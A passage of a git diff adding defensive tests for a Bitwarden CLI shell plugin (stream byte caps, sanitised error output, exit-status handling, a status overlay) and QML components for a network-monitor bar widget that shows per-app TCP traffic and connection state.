QSBW_BW_VERSION: "2026.7.0", + QSBW_BW_EXIT: "1", + QSBW_BW_STDERR: "TypeError: Cannot read properties of null (reading 'keyFingerprint')" + }) + check("bw list failures stay on the exact bounded safe diagnostic with no raw CLI output", + malformedOlderCli.status === 1 + && malformedOlderCli.stdout === "" + && malformedOlderCli.stderr === SAFE_DIAGNOSTIC + && !malformedOlderCli.stderr.includes("2026.8.0") + && !malformedOlderCli.stderr.includes("keyFingerprint") + && !malformedOlderCli.stderr.includes("TypeError"), + `exit=${malformedOlderCli.status} stdout=${JSON.stringify(malformedOlderCli.stdout)} stderr=${JSON.stringify(malformedOlderCli.stderr)}`) + + const fakeJqDir = path.join(tempDir, "failed-filter") + fs.mkdirSync(fakeJqDir) + fs.writeFileSync(path.join(fakeJqDir, "jq"), + `#!/bin/bash\nprintf '%s' '${FILTER_STDERR_MARKER}' >&2\nexit 7\n`, { mode: 0o755 }) + const failedFilter = runFixture("[]", { + PATH: fakeJqDir + path.delimiter + testEnv.PATH + }) + check("a failed jq filter exposes no raw diagnostic or partial output", + failedFilter.status === 1 + && failedFilter.stdout === "" + && !failedFilter.stderr.includes(FILTER_STDERR_MARKER) + && failedFilter.stderr === SAFE_DIAGNOSTIC + && Buffer.byteLength(failedFilter.stderr) <= MAX_STDERR_BYTES, + `exit=${failedFilter.status} stdout=${JSON.stringify(failedFilter.stdout)} stderr=${JSON.stringify(failedFilter.stderr)}`) + + const invocationPath = path.join(tempDir, "bw-invocations") + const invokedOnce = runFixture("[]", { QSBW_BW_INVOCATIONS: invocationPath }) + const invocationCount = fs.existsSync(invocationPath) + ? fs.readFileSync(invocationPath, "utf8").length : 0 + check("one sanitized read invokes bw exactly once", + invokedOnce.status === 0 && invocationCount === 1, + `exit=${invokedOnce.status} invocations=${invocationCount}`) + + // The prefix is valid JSON. Only the extra whitespace crosses the raw cap, + // proving upstream truncation is rejected even when jq could parse the bytes + // that made it through. + const oversizedInput = "[]" + " ".repeat(MAX_ITEMS_BYTES) + const inputLimited = runFixture(oversizedInput) + check("raw input beyond 16 MiB fails closed", + inputLimited.status !== 0 && inputLimited.stdout === "", + `exit=${inputLimited.status} stdout-bytes=${Buffer.byteLength(inputLimited.stdout)}`) + + // jq replaces this invalid four-byte sequence with a three-byte U+FFFD. + // The raw stream is one byte over the cap, but a post-decoding measurement + // sees exactly the limit and would incorrectly accept it. + const invalidPrefix = Buffer.from('[{"type":6,"value":"') + const invalidUtf8 = Buffer.from([0xf4, 0x90, 0x80, 0x80]) + const invalidSuffix = Buffer.from('"}]') + const invalidPadding = Buffer.alloc( + MAX_ITEMS_BYTES + 1 - invalidPrefix.length - invalidUtf8.length - invalidSuffix.length, + 0x61) + const decodingBypass = runFixture( + Buffer.concat([invalidPrefix, invalidPadding, invalidUtf8, invalidSuffix])) + check("invalid UTF-8 cannot shrink an oversized raw input past the cap", + decodingBypass.status !== 0 && decodingBypass.stdout === "", + `exit=${decodingBypass.status} stdout=${JSON.stringify(decodingBypass.stdout)}`) + + // The input fits just under its cap, but the {items,sshKeys} envelope pushes + // the sanitized document over the QML-facing ceiling. + const largeItem = { object: "item", id: "large", type: 1, name: "Large", notes: "" } + const emptyBytes = Buffer.byteLength(JSON.stringify([largeItem])) + largeItem.notes = "x".repeat(MAX_ITEMS_BYTES - emptyBytes - 8) + const nearLimitInput = JSON.stringify([largeItem]) + check("the output-overflow fixture itself stays below the raw cap", + Buffer.byteLength(nearLimitInput) < MAX_ITEMS_BYTES, + String(Buffer.byteLength(nearLimitInput))) + const outputLimited = runFixture(nearLimitInput) + check("sanitized output beyond 16 MiB fails without partial stdout", + outputLimited.status !== 0 && outputLimited.stdout === "", + `exit=${outputLimited.status} stdout-bytes=${Buffer.byteLength(outputLimited.stdout)}`) +} finally { + fs.rmSync(tempDir, { recursive: true, force: true }) +} + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { + console.error("\nFAILURES:\n " + failures.join("\n ")) + process.exit(1) +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/status-notice.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/status-notice.test.js new file mode 100644 index 0000000..010d7e2 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/status-notice.test.js @@ -0,0 +1,75 @@ +#!/usr/bin/env node +// Transient status and error messages float over the panel instead of joining +// its content column. Their arrival must never change the height used by +// KeyboardPanel, which is what made every screen jump down and back up. +// +// node tests/status-notice.test.js + +const fs = require("fs") +const path = require("path") + +const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8") +const noticeSrc = fs.existsSync(path.join(__dirname, "..", "StatusNotice.qml")) + ? fs.readFileSync(path.join(__dirname, "..", "StatusNotice.qml"), "utf8") + : "" +let pass = 0 +const failures = [] +const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`) + +const noticeAt = panelSrc.indexOf("id: statusNotice") +const noticeUse = noticeAt === -1 ? "" : panelSrc.slice(noticeAt, noticeAt + 2000) + +check("the status notice is a sibling overlay rather than a mainColumn child", + /^ StatusNotice \{\n id: statusNotice/m.test(panelSrc), + "expected statusNotice at PanelKeyCatcher child indentation") +check("the overlay is pinned inside the bottom of the panel", + /anchors\.bottom:\s*parent\.bottom/.test(noticeSrc) + && /anchors\.horizontalCenter:\s*parent\.horizontalCenter/.test(noticeSrc) + && /z:\s*[1-9][0-9]*/.test(noticeSrc), + noticeSrc) +check("the overlay never participates in panel height measurement", + /contentHeight:\s*panel\.fittedContentHeight\(mainColumn\.implicitHeight/.test(panelSrc) + && !/implicitHeight:\s*statusNotice/.test(panelSrc), + "KeyboardPanel must continue to measure only mainColumn") + +check("errors take priority over transient status text", + /showsError:\s*root\.errorMessage\s*!==\s*""/.test(noticeSrc) + && /text:\s*root\.showsError\s*\?\s*root\.errorMessage\s*:\s*root\.statusMessage/.test(noticeSrc), + noticeSrc) +check("status text still yields to the sequential TOTP action", + /showsStatus:[^\n]*root\.statusMessage\s*!==\s*""[^\n]*!root\.statusSuppressed/.test(noticeSrc) + && /statusSuppressed:\s*root\.totpFollowupActive/.test(noticeUse), + noticeSrc + "\n" + noticeUse) +check("long messages wrap within the panel", + /wrapMode:\s*Text\.Wrap/.test(noticeSrc), noticeSrc) +check("errors can be dismissed without hiding ordinary status updates", + /visible:\s*root\.showsError/.test(noticeSrc) + && /onClicked:\s*root\.errorDismissed\(\)/.test(noticeSrc) + && /onErrorDismissed:[\s\S]{0,400}root\.errorMessage = ""/.test(noticeUse), + noticeSrc + "\n" + noticeUse) + +// An error the user can act on carries the action. A refused save is the case: +// the list is already back to what the vault holds, so the button is the way +// back to what was typed. +check("an error can offer a recovery alongside the dismiss", + /property string actionLabel: ""/.test(noticeSrc) + && /signal actionRequested\(\)/.test(noticeSrc) + && /visible: root\.showsError && root\.actionLabel !== ""/.test(noticeSrc), + noticeSrc) +check("the recovery is offered only when there is one", + /actionLabel: root\.failedSave \? "Reopen " \+ root\.failedSave\.name : ""/.test(noticeUse), + noticeUse) +check("dismissing the message discards the recovery with it", + /root\.failedSave = null\s*\n\s*root\.errorMessage = ""/.test(noticeUse), + "a Reopen button behind an invisible message is a button for nothing") +check("dynamic notices expose alert semantics to assistive technology", + /Accessible\.role:\s*Accessible\.AlertMessage/.test(noticeSrc) + && /Accessible\.ignored:\s*!root\.shown/.test(noticeSrc) + && /Accessible\.name:/.test(noticeSrc), + noticeSrc) + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { + console.error("\nFAILURES:\n " + failures.join("\n ")) + process.exit(1) +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/stream-limits.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/stream-limits.test.js new file mode 100644 index 0000000..853ee9b --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/stream-limits.test.js @@ -0,0 +1,258 @@ +#!/usr/bin/env node +// Verifies that all data streams read by the long-lived shell process +// are capped on the producer side to prevent unbounded buffering. + +const fs = require("fs") +const path = require("path") +const os = require("os") +const { execFileSync, spawnSync } = require("child_process") + +const Model = {} +const code = fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + +new Function("exports", code + ` + exports.listCommand = listCommand + exports.getItemCommand = getItemCommand + exports.listSendsCommand = listSendsCommand + exports.listFoldersCommand = listFoldersCommand + exports.listOrganizationsCommand = listOrganizationsCommand + exports.listOrgCollectionsCommand = listOrgCollectionsCommand + exports.getTotpCommand = getTotpCommand + exports.statusCommand = statusCommand + exports.generateCommand = generateCommand + exports.generateServeRequestCommand = generateServeRequestCommand + exports.createSendCommand = createSendCommand + exports.createItemCommand = createItemCommand + exports.editItemCommand = editItemCommand + exports.deleteItemCommand = deleteItemCommand + exports.createFolderCommand = createFolderCommand + exports.attachmentDownloadCommand = attachmentDownloadCommand + exports.sessionHandoffReadCommand = sessionHandoffReadCommand + exports.associationsReadCommand = associationsReadCommand + exports.keyringLookupCommand = keyringLookupCommand + exports.keyringLookupMasterPasswordCommand = keyringLookupMasterPasswordCommand + exports.pinUnlockCommand = pinUnlockCommand + exports.dependencyCheckCommand = dependencyCheckCommand + exports.buildCappedCommand = buildCappedCommand + exports.syncCommand = syncCommand + exports.deleteSendCommand = deleteSendCommand + exports.settingWriteCommand = settingWriteCommand +`)(Model) + +let pass = 0 +const failures = [] +const check = (label, ok, detail) => { + if (ok) { + pass++ + } else { + failures.push(`${label}\n ${detail}`) + } +} + +const flat = (cmd) => (Array.isArray(cmd) ? cmd.join(" ") : String(cmd)) + +// 1. Vault item list stream is capped +const listCmd = Model.listCommand() +check("listCommand produces bash pipeline with head -c byte cap", + flat(listCmd).includes("bw list items") && flat(listCmd).includes("head -c 16777216"), + flat(listCmd)) +check("listCommand caps diagnostic stderr stream", + flat(listCmd).includes("exec 2> >(head -c 8192 >&2)"), + flat(listCmd)) + +// 2. Vault item detail stream is capped +const getItemCmd = Model.getItemCommand("12345-abc") +check("getItemCommand caps item detail output to 4MB", + flat(getItemCmd).includes("bw get item -- 12345-abc") && flat(getItemCmd).includes("head -c 4194304"), + flat(getItemCmd)) +check("getItemCommand caps stderr stream", + flat(getItemCmd).includes("exec 2> >(head -c 8192 >&2)"), + flat(getItemCmd)) + +// 3. Bitwarden send list stream is capped +const sendsCmd = Model.listSendsCommand() +check("listSendsCommand caps send list output to 8MB", + flat(sendsCmd).includes("bw send list") && flat(sendsCmd).includes("head -c 8388608"), + flat(sendsCmd)) + +// 4. Folder list stream is capped +const foldersCmd = Model.listFoldersCommand() +check("listFoldersCommand caps folder list output to 2MB", + flat(foldersCmd).includes("bw list folders") && flat(foldersCmd).includes("head -c 2097152"), + flat(foldersCmd)) + +// 5. Organization list stream is capped +const orgsCmd = Model.listOrganizationsCommand() +check("listOrganizationsCommand caps org list output to 2MB", + flat(orgsCmd).includes("bw list organizations") && flat(orgsCmd).includes("head -c 2097152"), + flat(orgsCmd)) + +// 6. Organization collections stream is capped +const orgColsCmd = Model.listOrgCollectionsCommand("org-99") +check("listOrgCollectionsCommand caps collections output to 2MB", + flat(orgColsCmd).includes("bw list org-collections --organizationid org-99") && flat(orgColsCmd).includes("head -c 2097152"), + flat(orgColsCmd)) + +// 7. Status and unlock streams are capped +const statusCmd = Model.statusCommand() +check("statusCommand caps status json output to 64KB", + flat(statusCmd).includes("bw status") && flat(statusCmd).includes("head -c 65536"), + flat(statusCmd)) + +// 8. TOTP code stream is capped +const totpCmd = Model.getTotpCommand("item-55") +check("getTotpCommand caps totp output to 4KB", + flat(totpCmd).includes("bw get totp --raw -- item-55") && flat(totpCmd).includes("head -c 4096"), + flat(totpCmd)) + +// 9. Session handoff file reader is size-bounded +const handoffCmd = Model.sessionHandoffReadCommand(true) +check("sessionHandoffReadCommand bounds file reading with head -c 4096", + flat(handoffCmd).includes("head -c 4096") && !flat(handoffCmd).includes("cat \"$f\""), + flat(handoffCmd)) + +// 10. Associations file reader is size-bounded +const assocCmd = Model.associationsReadCommand() +check("associationsReadCommand bounds file reading with head -c 1048576", + flat(assocCmd).includes("head -c 1048576") && !flat(assocCmd).includes("cat \"$ASSOC_FILE\""), + flat(assocCmd)) + +// 11. Keyring lookups and PIN unlock are size-bounded +const keyringCmd = Model.keyringLookupCommand() +check("keyringLookupCommand bounds secret-tool output to 4KB", + flat(keyringCmd).includes("head -c 4096") && flat(keyringCmd).includes("head -c 128"), + flat(keyringCmd)) + +const pinCmd = Model.pinUnlockCommand() +check("pinUnlockCommand bounds both ciphertext lookup and decrypted password", + flat(pinCmd).includes("head -c 8192") && flat(pinCmd).includes("head -c 4096"), + flat(pinCmd)) + +// 12. Password generator output is capped +const genPassCmd = Model.generateCommand({ length: 32 }) +check("generateCommand caps password output to 4KB", + flat(genPassCmd).includes("bw generate") && flat(genPassCmd).includes("head -c 4096"), + flat(genPassCmd)) + +// 12b. Generator serve request stream is capped on the producer side +const serveReqCmd = Model.generateServeRequestCommand({ length: 24 }) +check("generateServeRequestCommand bounds loopback response stream with head -c 65536", + flat(serveReqCmd).includes("curl -q -s -S") && flat(serveReqCmd).includes("head -c 65536"), + flat(serveReqCmd)) + +// 13. Create/Edit/Delete commands are capped +const createFolderCmd = Model.createFolderCommand("test") +check("createFolderCommand caps stderr and response", + flat(createFolderCmd).includes("exec 2> >(head -c 8192 >&2)") && flat(createFolderCmd).includes("head -c 65536"), + flat(createFolderCmd)) + +// The save commands cap their response the way sanitizedListCommand does: +// read one byte past the ceiling, then refuse anything that reached it. A +// bare `head -c ` cannot tell a stream that fit from one that was cut, +// and these two now carry a sanitising stage whose output must be whole or +// discarded. See the same idiom asserted for the item list in ssh-items. +const capsResponse = cmd => + flat(cmd).includes("head -c 65537") && flat(cmd).includes('-gt 65536') + +const createItemCmd = Model.createItemCommand({ organizationId: "org-1" }) +check("createItemCommand caps stderr and response", + flat(createItemCmd).includes("exec 2> >(head -c 8192 >&2)") && capsResponse(createItemCmd), + flat(createItemCmd)) + +const editItemCmd = Model.editItemCommand("item-1") +check("editItemCommand caps stderr and response", + flat(editItemCmd).includes("exec 2> >(head -c 8192 >&2)") && capsResponse(editItemCmd), + flat(editItemCmd)) + +const deleteItemCmd = Model.deleteItemCommand("item-1") +check("deleteItemCommand caps stderr and response", + flat(deleteItemCmd).includes("exec 2> >(head -c 8192 >&2)") && flat(deleteItemCmd).includes("head -c 65536"), + flat(deleteItemCmd)) + +// 14. Live execution check: verify head -c truncation behaviour on huge stream +const hugeScript = "yes 'unbounded streaming line' | head -c 1024" +const hugeOut = execFileSync("bash", ["-c", hugeScript], { encoding: "utf8" }) +check("head -c strictly bounds incoming stream to exact byte count", + Buffer.byteLength(hugeOut, "utf8") === 1024, + `Expected 1024 bytes, got ${Buffer.byteLength(hugeOut, "utf8")}`) + +// 15. Live execution check: verify stderr bounding does not corrupt stdout +const stderrScript = "exec 2> >(head -c 100 >&2); echo 'stdout data'; (echo 'short stderr error' >&2)" +const proc = execFileSync("bash", ["-c", stderrScript], { encoding: "utf8", stdio: ["ignore", "pipe", "pipe"] }) +check("capped stderr does not leak into stdout", + proc.trim() === "stdout data", + `stdout was: ${JSON.stringify(proc)}`) + +// 16. A cap must not swallow the producer's exit status. `head -c` closes the +// pipe and exits 0, so without `pipefail` every failing bw command would reach +// the panel as a success and the UI would report "Item deleted" for a delete +// that never happened. +const cappedBuilders = [ + ["listCommand", Model.listCommand()], + ["getItemCommand", Model.getItemCommand("x")], + ["deleteItemCommand", Model.deleteItemCommand("x")], + ["deleteSendCommand", Model.deleteSendCommand("x")], + ["syncCommand", Model.syncCommand()], + ["createItemCommand", Model.createItemCommand({})], + ["editItemCommand", Model.editItemCommand("x")], + ["createSendCommand", Model.createSendCommand()], + ["createFolderCommand", Model.createFolderCommand("x")], + ["settingWriteCommand", Model.settingWriteCommand("autoLockMinutes", 5, "int")], +] +for (const [name, cmd] of cappedBuilders) { + check(`${name} restores the producer's exit status with pipefail`, + flat(cmd).includes("set -o pipefail"), flat(cmd)) + check(`${name} does not report truncation (SIGPIPE 141) as a failure`, + flat(cmd).includes('case "$__rc" in 141) __rc=0 ;; esac'), flat(cmd)) +} + +// 17. Live execution check, with a stub `bw`: a failing command must exit +// non-zero through the cap, and a stream large enough to hit the cap must not +// be mistaken for a failure. +const stubDir = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-stream-")) +fs.writeFileSync(path.join(stubDir, "bw"), [ + "#!/bin/bash", + 'case "$*" in', + ' *boom*) echo "error: bad request" >&2; exit 1 ;;', + " *big*) yes '{\"x\":\"aaaaaaaaaaaaaaaaaaaa\"}' ;;", + " *) echo '{\"ok\":true}' ;;", + "esac", + "", +].join("\n")) +fs.chmodSync(path.join(stubDir, "bw"), 0o755) +const stubEnv = Object.assign({}, process.env, { PATH: stubDir + path.delimiter + process.env.PATH }) + +const runScript = (script) => { + const r = spawnSync("bash", ["-c", script], { + env: stubEnv, encoding: "utf8", maxBuffer: 64 * 1024 * 1024, + }) + return { code: r.status, stdout: r.stdout || "", stderr: r.stderr || "" } +} + +const failRun = runScript(Model.deleteItemCommand("boom")[2]) +check("a failing bw command exits non-zero through the cap", + failRun.code === 1, `exit ${failRun.code}, stderr ${JSON.stringify(failRun.stderr)}`) +check("a failing bw command still delivers its stderr to the panel", + failRun.stderr.includes("bad request"), JSON.stringify(failRun.stderr)) + +const okRun = runScript(Model.deleteItemCommand("fine")[2]) +check("a succeeding bw command exits zero through the cap", + okRun.code === 0, `exit ${okRun.code}`) + +// `bw big` never stops printing: only the cap ends it, and the SIGPIPE that +// follows must not be reported as a failed vault read. +const truncRun = runScript(Model.getItemCommand("big")[2]) +check("hitting the cap is not reported as a failure", + truncRun.code === 0, `exit ${truncRun.code}`) +check("hitting the cap truncates at exactly the limit", + Buffer.byteLength(truncRun.stdout, "utf8") === 4 * 1024 * 1024, + `got ${Buffer.byteLength(truncRun.stdout, "utf8")} bytes`) + +fs.rmSync(stubDir, { recursive: true, force: true }) + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { + console.error("\nFAILURES:\n " + failures.join("\n ")) + process.exit(1) +} diff --git a/plugins/io.github.x3me.nexthop/AppsTab.qml b/plugins/io.github.x3me.nexthop/AppsTab.qml new file mode 100644 index 0000000..2b543de --- /dev/null +++ b/plugins/io.github.x3me.nexthop/AppsTab.qml @@ -0,0 +1,231 @@ +pragma ComponentBehavior: Bound + +import QtQuick +import qs.Commons +import qs.Ui +import "format.js" as Fmt + +// Who is using the connection: top applications by TCP traffic, with an +// honest bucket for what no unprivileged tool can attribute (QUIC/UDP, +// protocol overhead). Rates are the last few seconds; totals are since the +// daemon started. +Column { + id: tab + + required property var panel + + spacing: Style.space(12) + + readonly property var apps: panel.appsData && panel.appsData.apps + ? panel.appsData.apps : [] + readonly property var other: panel.appsData ? panel.appsData.other : null + + + Item { + width: parent.width + height: appsLabel.implicitHeight + + Text { + id: appsLabel + textFormat: Text.PlainText + text: "TOP APPLICATIONS · TCP" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + Text { + textFormat: Text.PlainText + anchors.right: parent.right + text: "totals since the daemon started" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + } + + Text { + textFormat: Text.PlainText + visible: tab.apps.length === 0 + text: "Collecting — the first sample lands within a few seconds." + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + + Column { + width: parent.width + spacing: Style.space(10) + + Repeater { + model: tab.apps + + Column { + id: appRow + required property var modelData + width: parent.width + spacing: Style.space(4) + + Item { + width: parent.width + height: nameText.implicitHeight + + Text { + id: nameText + textFormat: Text.PlainText + text: appRow.modelData.name + + (appRow.modelData.conns > 0 + ? " · " + appRow.modelData.conns + + (appRow.modelData.conns === 1 ? " conn" : " conns") + : "") + // The kernel's round trip for this app's own sockets. Absent + // for an app the kernel has not timed — QUIC-only traffic + // shows no figure rather than a misleading zero. + + (appRow.modelData.rtt_ms + ? " · " + appRow.modelData.rtt_ms.toFixed(0) + " ms" + : "") + color: tab.panel.fg + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + Text { + textFormat: Text.PlainText + anchors.right: parent.right + text: "󰇚 " + Fmt.rate(appRow.modelData.rx_bps) + + " 󰕒 " + Fmt.rate(appRow.modelData.tx_bps) + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + } + + // Second row: the last minute as a half-width strip of stacked + // mini-bars (download in accent, upload above in amber, newest on + // the right, scaled to this app's own busiest moment) with the + // session totals beside it. + Item { + width: parent.width + height: Math.max(strip.height, sessionText.implicitHeight) + + Row { + id: strip + anchors.left: parent.left + anchors.verticalCenter: parent.verticalCenter + width: Math.round(parent.width * 0.5) + height: Style.space(9) + spacing: Math.max(1, Style.spaceReal(1.5)) + + readonly property var hist: appRow.modelData.hist || [] + readonly property int slots: 20 + readonly property real slotW: + (width - spacing * (slots - 1)) / slots + readonly property real peak: { + var p = 1024 + for (var i = 0; i < hist.length; i++) + p = Math.max(p, hist[i][0] + hist[i][1]) + return p + } + + Repeater { + model: strip.slots + + Item { + id: histSlot + required property int index + readonly property var sample: { + var h = strip.hist + var i = h.length - strip.slots + index + return i >= 0 && i < h.length ? h[i] : null + } + width: strip.slotW + height: strip.height + + Rectangle { + anchors.bottom: parent.bottom + width: parent.width + height: 1 + color: Qt.rgba(tab.panel.fg.r, tab.panel.fg.g, + tab.panel.fg.b, 0.12) + } + Rectangle { + id: rxSeg + anchors.bottom: parent.bottom + width: parent.width + height: histSlot.sample + ? Math.min(parent.height, + parent.height * histSlot.sample[0] / strip.peak) + : 0 + color: Color.accent + } + Rectangle { + anchors.bottom: rxSeg.top + width: parent.width + height: histSlot.sample + ? Math.min(parent.height - rxSeg.height, + parent.height * histSlot.sample[1] / strip.peak) + : 0 + color: tab.panel.warnTone + } + } + } + } + + Text { + id: sessionText + textFormat: Text.PlainText + anchors.right: parent.right + anchors.verticalCenter: parent.verticalCenter + text: Fmt.bytes(appRow.modelData.rx_total) + + " down · " + Fmt.bytes(appRow.modelData.tx_total) + " up" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + } + } + } + } + + PanelSeparator { + width: parent.width + visible: tab.other !== null + } + + Item { + width: parent.width + visible: tab.other !== null + height: otherText.implicitHeight + + Text { + id: otherText + textFormat: Text.PlainText + text: "Unattributed (QUIC, UDP, overhead)" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + Text { + textFormat: Text.PlainText + anchors.right: parent.right + text: tab.other + ? "󰇚 " + Fmt.rate(tab.other.rx_bps) + " 󰕒 " + Fmt.rate(tab.other.tx_bps) + : "" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + } + + Text { + textFormat: Text.PlainText + width: parent.width + text: "Per-app numbers come from each TCP connection's own counters — no " + + "packet capture, no root. QUIC (much of Chrome and YouTube) is UDP, " + + "which Linux only attributes to privileged tools; it shows above as " + + "unattributed instead of pretending the TCP list is everything." + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } +} diff --git a/plugins/io.github.x3me.nexthop/BarWidget.qml b/plugins/io.github.x3me.nexthop/BarWidget.qml new file mode 100644 index 0000000..659ea9c --- /dev/null +++ b/plugins/io.github.x3me.nexthop/BarWidget.qml @@ -0,0 +1,244 @@ +import QtQuick +import Quickshell.Io +import qs.Commons +import qs.Ui + +// Nexthop's bar entry: the one always-visible surface. Colour carries the +// state — the number is detail, the colour is the verdict. Clicking opens +// the panel; middle-click asks the daemon for a peak speed test. +BarWidget { + id: root + moduleName: "io.github.x3me.nexthop" + + // ---- live state ---------------------------------------------------------- + // + // The shell never opens a state file itself. `nexthop stream` performs a + // bounded, non-blocking, no-follow, regular-file-only read and hands us + // whole lines, so an oversized file, a FIFO or a symlink swapped in at + // the predictable path is refused in a small short-lived process instead + // of allocating or stalling inside the long-lived shell. + // A URL, not a path: percent-encoded, so a space in the way becomes %20 + // and `cd` fails. Decode before it is used as a filesystem path. + readonly property string pluginDir: + decodeURIComponent(Qt.resolvedUrl(".").toString()) + .replace(/^file:\/\//, "").replace(/\/$/, "") + + // One reader serves the whole widget: the panel below is created by this + // component and binds to these properties rather than opening anything + // itself, so the shell runs a single helper, not one per surface. + property var live: null + property var recent: null + property var appsData: null + + Process { + id: stateStream + running: true + command: ["sh", "-c", + 'cd "$1" && exec python3 -m nexthopd.cli stream live apps recent', + "sh", root.pluginDir] + stdout: SplitParser { + splitMarker: "\n" + onRead: function (line) { root.applyStream(line) } + } + onExited: streamRestart.start() + } + + // The reader dies with the daemon's package on an update; bring it back. + Timer { + id: streamRestart + interval: 2000 + onTriggered: stateStream.running = true + } + + // Each file has a known small size; a line past its bound is not ours. + // live ~3 KB, apps ~8 KB, recent ~30 KB. + function applyStream(line) { + var sp = line ? line.indexOf(" ") : -1 + if (sp <= 0) return + var key = line.slice(0, sp) + if (line.length - sp - 1 > (key === "live" ? 262144 : 1048576)) return + var v + try { v = JSON.parse(line.slice(sp + 1)) } catch (e) { return } + if (v === null || v === undefined) return + if (key === "live") root.live = v + else if (key === "apps") root.appsData = v + else if (key === "recent") root.recent = v + } + + // ---- freshness ----------------------------------------------------------- + // + // The stream emits only when live.json changes, so a daemon that has + // stopped writing — hung, or its reader gone — leaves the last snapshot + // on screen looking current, and the bar would hold a number from an + // hour ago as if it were now. The snapshot carries its own timestamp; a + // clock of our own tells "current" from "last seen". Five seconds is ten + // missed writes at 2 Hz. After a suspend the first tick can read stale + // until the next write lands, which is honest for as long as it lasts. + property real nowS: Date.now() / 1000 + readonly property int staleAfterS: 5 + readonly property bool stale: live !== null && typeof live.t === "number" + && (nowS - live.t) > staleAfterS + readonly property int staleForS: stale ? Math.round(nowS - live.t) : 0 + + Timer { + interval: 1000 + running: true + repeat: true + onTriggered: root.nowS = Date.now() / 1000 + } + + // ---- derived ------------------------------------------------------------- + readonly property string displayMode: setting("displayMode", "Index") + readonly property string netState: !live || stale ? "no-daemon" : (live.state || "online") + readonly property var index: !stale && live && live.index !== null && live.index !== undefined + ? live.index : null + readonly property var lagNow: !stale && live && live.lag ? live.lag.now : null + + readonly property color okColor: bar ? bar.foreground : Color.foreground + // State colours resolve through the theme palette: green/yellow/red exist + // in every Omarchy theme's colors.toml, surfaced via Color singleton. + readonly property color stateColor: { + // A sign-in page is a gate, not a fault: warn, not urgent. + if (netState === "captive") return "#e0af68" + if (netState === "local-down" || netState === "wan-down") return Color.urgent + if (netState === "degraded") return "#e0af68" + if (index === null) return okColor + if (index >= 80) return okColor + if (index >= 50) return "#e0af68" + return Color.urgent + } + + readonly property string glyph: { + if (netState === "captive") return "󰦝" // nf-md-shield_lock: a gate + if (netState === "local-down") return "󱚵" // nf-md-wifi_strength_alert + if (netState === "wan-down") return "󰲛" // nf-md-web_off / broken link + return "󰓅" // nf-md-speedometer + } + + readonly property string barText: { + if (netState === "no-daemon") return glyph + if (netState === "captive") return glyph + if (netState === "local-down" || netState === "wan-down") { + var since = live && live.down_since ? live.down_since : 0 + if (!since) return glyph + var s = Math.max(0, Math.round(Date.now() / 1000 - since)) + var m = Math.floor(s / 60) + return glyph + " " + (m > 0 ? m + "m" + (s % 60) + "s" : s + "s") + } + if (displayMode === "Icon only") return glyph + if (displayMode === "Lag") + return glyph + " " + (lagNow !== null ? Math.round(lagNow) + "ms" : "--") + return glyph + " " + (index !== null ? index : "--") + } + + // ---- panel wiring (same shape contract as weather / vitals) -------------- + function injectPanel() { + var target = panelLoader.item + if (!target) return + if ("bar" in target) target.bar = root.bar + if ("settings" in target) target.settings = root.settings + if ("anchorItem" in target) target.anchorItem = button + if ("hostWidget" in target) target.hostWidget = root + } + + function togglePanel() { + if (panelLoader.item && panelLoader.item.toggle) panelLoader.item.toggle() + } + + readonly property bool opened: panelLoader.item ? panelLoader.item.opened === true : false + + function open() { + if (panelLoader.item && panelLoader.item.openFromHotkey) panelLoader.item.openFromHotkey() + } + + function close() { + if (panelLoader.item && panelLoader.item.close) panelLoader.item.close() + } + + readonly property bool popoutSwitchClosing: panelLoader.item + ? panelLoader.item.popoutSwitchClosing === true : false + + function closeForPopoutSwitch() { + if (panelLoader.item) panelLoader.item.closeForPopoutSwitch() + } + + implicitWidth: button.implicitWidth + implicitHeight: button.implicitHeight + + onBarChanged: injectPanel() + onSettingsChanged: injectPanel() + + Loader { + id: panelLoader + active: true + source: Qt.resolvedUrl("Panel.qml") + visible: false + onLoaded: { + root.injectPanel() + Qt.callLater(root.injectPanel) + } + } + + // The path travels as a positional argument, never spliced into the + // script — the same form every other Process here uses. + Process { + id: peakRequest + command: ["sh", "-c", 'cd "$1" && exec python3 -m nexthopd.cli peak', + "sh", root.pluginDir] + } + + // Why the width is measured here rather than left to the control: + // BarIconButton is an *icon* button — it pins `fixedWidth` to a + // single-glyph slot (27 px by default), so its implicitWidth is that slot + // no matter what text it holds. Our text is variable ("󰓅 92", "󰓅 1024ms", + // "󱚵 1m3s"), so the bar reserved one icon's worth of space and the text + // painted straight over the neighbouring widget. Longest during an + // outage, which is when it was noticed. + // + // TextMetrics measures the string against the same font without + // rendering it, so the width can drive the slot with no binding loop + // back through the glyph that is being laid out. + TextMetrics { + id: textWidth + font.family: button.fontFamily + font.pixelSize: button.fontSize + text: root.barText + } + + BarIconButton { + id: button + anchors.fill: parent + bar: root.bar + text: root.barText + // Never narrower than a normal icon slot, so an icon-only display mode + // still lines up with its neighbours. + slotSize: 